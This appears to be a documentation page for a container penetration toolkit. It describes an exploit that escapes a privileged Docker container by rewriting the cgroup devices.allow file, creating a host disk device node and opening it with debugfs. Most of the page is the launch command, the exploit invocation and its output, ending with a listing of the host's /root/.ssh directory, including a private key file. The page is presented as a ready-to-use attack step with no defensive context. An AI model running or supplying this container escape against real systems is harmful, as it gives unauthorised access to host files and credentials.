Exploit: rewrite cgroup devices

Exploit: rewrite-cgroup-devices

Rewrite the /sys/fs/cgroup/devices/devices.allow in the current container to access files in the host to escape privileged containers. 重写当前容器内的 /sys/fs/cgroup/devices/devices.allow，逃逸特权容器访问宿主机内的文件。

Usage

./cdk run rewrite-cgroup-devices

Example

➜  /tmp docker run -it -v /tmp:/tmp --cap-add="SYS_ADMIN" near/neo4j-test bash
# ./cdk run rewrite-cgroup-devices
2021/01/23 07:28:10 generate shell exploit: /tmp/rewrite-cgroup-devices-exp-dylqyn.sh
Execute Shell:/tmp/rewrite-cgroup-devices-exp-dylqyn.sh finished with output:
2021/01/23 07:28:10 get /sys/fs/cgroup/devices/devices.allow inode id: 955171887
2021/01/23 07:28:10 find cgroup devices.allow file: /sys/fs/cgroup/cgneartest/docker/c254a346291562776f08fd135c267e64eef0f6908578a9eebd97274d543a865f/devices.allow
2021/01/23 07:28:10 get virtblk device ID: 252
2021/01/23 07:28:10 generate shell exploit: /tmp/device-mknod-cmezii.sh
Execute Shell:/tmp/device-mknod-cmezii.sh finished with output:
2021/01/23 07:28:12 now, run 'debugfs cdk_mknod_result' to browse host files.

# debugfs cdk_mknod_result
debugfs 1.42.13 (17-May-2015)
debugfs:  ls -l /root/.ssh
 393231   40700 (2)      0      0    4096 22-Nov-2020 15:59 .
  52566   40550 (2)      0      0    4096 23-Jan-2021 07:27 ..
 395870  100600 (1)      0      0     746 29-May-2020 06:11 authorized_keys
 395829  100644 (1)      0      0     247  7-Aug-2020 07:01 config
 395860  100644 (1)      0      0     725 16-Dec-2020 10:53 known_hosts
 393227  100600 (1)      0      0    1675 22-Nov-2020 15:59 id_rsa
 395831  100644 (1)      0      0     391 22-Nov-2020 15:59 id_rsa.pub